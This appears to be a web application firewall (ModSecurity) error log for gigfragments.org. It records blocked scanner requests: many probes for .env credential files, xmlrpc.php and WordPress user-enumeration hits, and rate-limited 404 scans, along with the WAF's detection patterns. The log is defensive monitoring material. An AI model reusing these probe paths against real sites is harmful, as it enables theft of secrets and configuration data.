[Sat May 09 06:00:13.890051 2026] [:error] [pid 9187:tid 9265] [client 3.80.48.101:50460] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.uat"] [unique_id "af5c7RC7An6gkXsRsaHqFQAAAIw"]
[Sat May 09 06:00:14.812875 2026] [:error] [pid 9184:tid 9202] [client 3.80.48.101:50470] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.dist"] [unique_id "af5c7ojfODqb_i0Fm99bsgAAAAU"]
[Sat May 09 06:00:15.712522 2026] [:error] [pid 9833:tid 9857] [client 3.80.48.101:50486] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.swp"] [unique_id "af5c7yM9JmxIS0KGZUA01AAAAZM"]
[Sat May 09 06:00:16.572685 2026] [:error] [pid 9293:tid 9306] [client 3.80.48.101:50494] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env~"] [unique_id "af5c8JR__qEzV5O6Z2PNugAAAMk"]
[Sat May 09 06:00:17.443959 2026] [:error] [pid 9293:tid 9318] [client 3.80.48.101:50496] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env1"] [unique_id "af5c8ZR__qEzV5O6Z2PNvQAAANU"]
[Sat May 09 06:00:18.327323 2026] [:error] [pid 9187:tid 9269] [client 3.80.48.101:50502] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env2"] [unique_id "af5c8hC7An6gkXsRsaHqGAAAAJA"]
[Sat May 09 06:00:19.206856 2026] [:error] [pid 9833:tid 9854] [client 3.80.48.101:50508] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env_copy"] [unique_id "af5c8yM9JmxIS0KGZUA02QAAAZA"]
[Sat May 09 06:00:20.085861 2026] [:error] [pid 9920:tid 9926] [client 3.80.48.101:51520] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.txt"] [unique_id "af5c9ExitGYhlzgZb5ZfewAAAcQ"]
[Sat May 09 06:00:20.949155 2026] [:error] [pid 9293:tid 9305] [client 3.80.48.101:51536] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.json"] [unique_id "af5c9JR__qEzV5O6Z2PN0gAAAMg"]
[Sat May 09 06:00:21.859059 2026] [:error] [pid 9293:tid 9303] [client 3.80.48.101:51548] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.yaml"] [unique_id "af5c9ZR__qEzV5O6Z2PN1gAAAMY"]
[Sat May 09 06:00:22.707048 2026] [:error] [pid 9920:tid 9930] [client 3.80.48.101:51550] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.yml"] [unique_id "af5c9kxitGYhlzgZb5ZffgAAAcg"]
[Sat May 09 06:00:23.571330 2026] [:error] [pid 9663:tid 9680] [client 3.80.48.101:51560] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/app/.env"] [unique_id "af5c95cWIu01SCxbjwvLBgAAAQ4"]
[Sat May 09 06:00:24.463533 2026] [:error] [pid 9187:tid 9255] [client 3.80.48.101:51574] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/apps/.env"] [unique_id "af5c-BC7An6gkXsRsaHqHgAAAII"]
[Sat May 09 06:00:25.357391 2026] [:error] [pid 9293:tid 9319] [client 3.80.48.101:51588] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/api/.env"] [unique_id "af5c-ZR__qEzV5O6Z2PN5gAAANY"]
[Sat May 09 06:00:26.228192 2026] [:error] [pid 9293:tid 9313] [client 3.80.48.101:51592] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/web/.env"] [unique_id "af5c-pR__qEzV5O6Z2PN6AAAANA"]
[Sat May 09 09:02:05.156519 2026] [:error] [pid 9187:tid 9264] [client 162.62.213.187:41762] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af6HjRC7An6gkXsRsaEgUwAAAIs"]
[Sat May 09 09:28:45.781119 2026] [:error] [pid 9920:tid 9942] [client 94.202.15.23:58159] [client 94.202.15.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.202.15.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af6NzUxitGYhlzgZb5aTwQAAAdQ"]
[Sat May 09 09:33:17.819545 2026] [:error] [pid 9186:tid 9234] [client 94.202.15.23:51893] [client 94.202.15.23] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "af6O3RW4eFOEw1mKOgKcpQAAAEg"]
[Sat May 09 09:33:55.805583 2026] [:error] [pid 9833:tid 9862] [client 94.202.15.23:61088] [client 94.202.15.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.202.15.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af6PAyM9JmxIS0KGZUBSNwAAAZg"]
[Sat May 09 09:34:20.189832 2026] [:error] [pid 9663:tid 9671] [client 94.202.15.23:61547] [client 94.202.15.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.202.15.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af6PHJcWIu01SCxbjwv2_QAAAQU"]
[Sat May 09 09:34:47.431110 2026] [:error] [pid 9293:tid 9311] [client 94.202.15.23:62013] [client 94.202.15.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.202.15.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af6PN5R__qEzV5O6Z2MoHwAAAM4"]
[Sat May 09 09:35:13.774768 2026] [:error] [pid 9186:tid 9246] [client 94.202.15.23:62503] [client 94.202.15.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.202.15.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af6PURW4eFOEw1mKOgKdFAAAAFQ"]
[Sat May 09 09:44:38.080200 2026] [:error] [pid 9920:tid 9944] [client 51.83.101.126:36144] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "af6RhkxitGYhlzgZb5aYnAAAAdY"]
[Sat May 09 09:44:40.077949 2026] [:error] [pid 9184:tid 9207] [client 51.83.101.126:59410] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "af6RiIjfODqb_i0Fm99yNgAAAAo"]
[Sat May 09 09:44:42.149250 2026] [:error] [pid 9187:tid 9263] [client 51.83.101.126:59420] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "af6RihC7An6gkXsRsaEt7gAAAIo"]
[Sat May 09 09:44:44.185256 2026] [:error] [pid 9760:tid 9779] [client 51.83.101.126:59434] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "af6RjGIkCp-C_fh0s7Ig6gAAAU0"]
[Sat May 09 09:44:46.175326 2026] [:error] [pid 9293:tid 9317] [client 51.83.101.126:35686] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "af6RjpR__qEzV5O6Z2MuUQAAANQ"]
[Sat May 09 09:44:48.082285 2026] [:error] [pid 9920:tid 9945] [client 51.83.101.126:35688] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "af6RkExitGYhlzgZb5aYoQAAAdc"]
[Sat May 09 09:44:50.007789 2026] [:error] [pid 9920:tid 9925] [client 51.83.101.126:35690] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "af6RkkxitGYhlzgZb5aYogAAAcM"]
[Sat May 09 09:44:52.018495 2026] [:error] [pid 9186:tid 9231] [client 51.83.101.126:35694] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "af6RlBW4eFOEw1mKOgKe1wAAAEU"]
[Sat May 09 09:44:54.048140 2026] [:error] [pid 9186:tid 9232] [client 51.83.101.126:35704] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "af6RlhW4eFOEw1mKOgKe2wAAAEY"]
[Sat May 09 09:44:56.056441 2026] [:error] [pid 9833:tid 9845] [client 51.83.101.126:35706] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "af6RmCM9JmxIS0KGZUBTvwAAAYc"]
[Sat May 09 09:44:57.887707 2026] [:error] [pid 9760:tid 9767] [client 51.83.101.126:48982] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "af6RmWIkCp-C_fh0s7Ig8AAAAUE"]
[Sat May 09 09:44:59.736379 2026] [:error] [pid 9920:tid 9946] [client 51.83.101.126:48992] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "af6Rm0xitGYhlzgZb5aYqQAAAdg"]
[Sat May 09 09:45:01.628577 2026] [:error] [pid 9833:tid 9861] [client 51.83.101.126:49000] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "af6RnSM9JmxIS0KGZUBTyAAAAZc"]
[Sat May 09 09:45:03.636914 2026] [:error] [pid 9186:tid 9238] [client 51.83.101.126:49002] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "af6RnxW4eFOEw1mKOgKe3QAAAEw"]
[Sat May 09 09:45:05.386531 2026] [:error] [pid 9186:tid 9226] [client 51.83.101.126:49016] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "af6RoRW4eFOEw1mKOgKe4QAAAEA"]
[Sat May 09 09:45:07.308419 2026] [:error] [pid 9187:tid 9256] [client 51.83.101.126:39952] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "af6RoxC7An6gkXsRsaEuDAAAAIM"]
[Sat May 09 09:45:09.343404 2026] [:error] [pid 9293:tid 9305] [client 51.83.101.126:39968] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "af6RpZR__qEzV5O6Z2MuZQAAAMg"]
[Sat May 09 09:45:11.351193 2026] [:error] [pid 9920:tid 9925] [client 51.83.101.126:39974] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "af6Rp0xitGYhlzgZb5aYwwAAAcM"]
[Sat May 09 09:45:13.269423 2026] [:error] [pid 9187:tid 9263] [client 51.83.101.126:39988] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "af6RqRC7An6gkXsRsaEuEQAAAIo"]
[Sat May 09 09:45:15.252122 2026] [:error] [pid 9663:tid 9670] [client 51.83.101.126:39998] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "af6Rq5cWIu01SCxbjwv5aQAAAQQ"]
[Sat May 09 09:45:16.981699 2026] [:error] [pid 9184:tid 9206] [client 51.83.101.126:48020] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "af6RrIjfODqb_i0Fm99ySAAAAAk"]
[Sat May 09 09:45:19.042802 2026] [:error] [pid 9760:tid 9789] [client 51.83.101.126:48034] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "af6Rr2IkCp-C_fh0s7Ig_gAAAVc"]
[Sat May 09 09:45:20.948568 2026] [:error] [pid 9187:tid 9260] [client 51.83.101.126:48038] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "af6RsBC7An6gkXsRsaEuFQAAAIc"]
[Sat May 09 09:45:22.838931 2026] [:error] [pid 9663:tid 9687] [client 51.83.101.126:48044] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "af6RspcWIu01SCxbjwv5dgAAARU"]
[Sat May 09 09:45:24.742754 2026] [:error] [pid 9760:tid 9781] [client 51.83.101.126:48060] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "af6RtGIkCp-C_fh0s7IhBwAAAU8"]
[Sat May 09 09:45:26.761694 2026] [:error] [pid 9833:tid 9862] [client 51.83.101.126:40200] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "af6RtiM9JmxIS0KGZUBT6gAAAZg"]
[Sat May 09 09:45:28.796319 2026] [:error] [pid 9187:tid 9265] [client 51.83.101.126:40208] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "af6RuBC7An6gkXsRsaEuGgAAAIw"]
[Sat May 09 09:45:30.689759 2026] [:error] [pid 9186:tid 9248] [client 51.83.101.126:40212] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "af6RuhW4eFOEw1mKOgKfCgAAAFY"]
[Sat May 09 09:45:32.563893 2026] [:error] [pid 9184:tid 9214] [client 51.83.101.126:40222] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "af6RvIjfODqb_i0Fm99yUAAAABE"]
[Sat May 09 09:45:34.561747 2026] [:error] [pid 9293:tid 9302] [client 51.83.101.126:40232] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "af6RvpR__qEzV5O6Z2MulwAAAMU"]
[Sat May 09 10:35:07.485904 2026] [:error] [pid 9833:tid 9859] [client 43.159.132.207:51768] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "af6dWyM9JmxIS0KGZUBbQwAAAZU"]
[Sat May 09 11:05:34.976474 2026] [:error] [pid 9293:tid 9321] [client 45.154.98.198:57372] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "af6kfpR__qEzV5O6Z2NN9wAAANg"], referer: www.google.com
[Sat May 09 11:05:34.977071 2026] [:error] [pid 9293:tid 9318] [client 45.154.98.198:57381] [client 45.154.98.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af6kfpR__qEzV5O6Z2NN-AAAANU"]
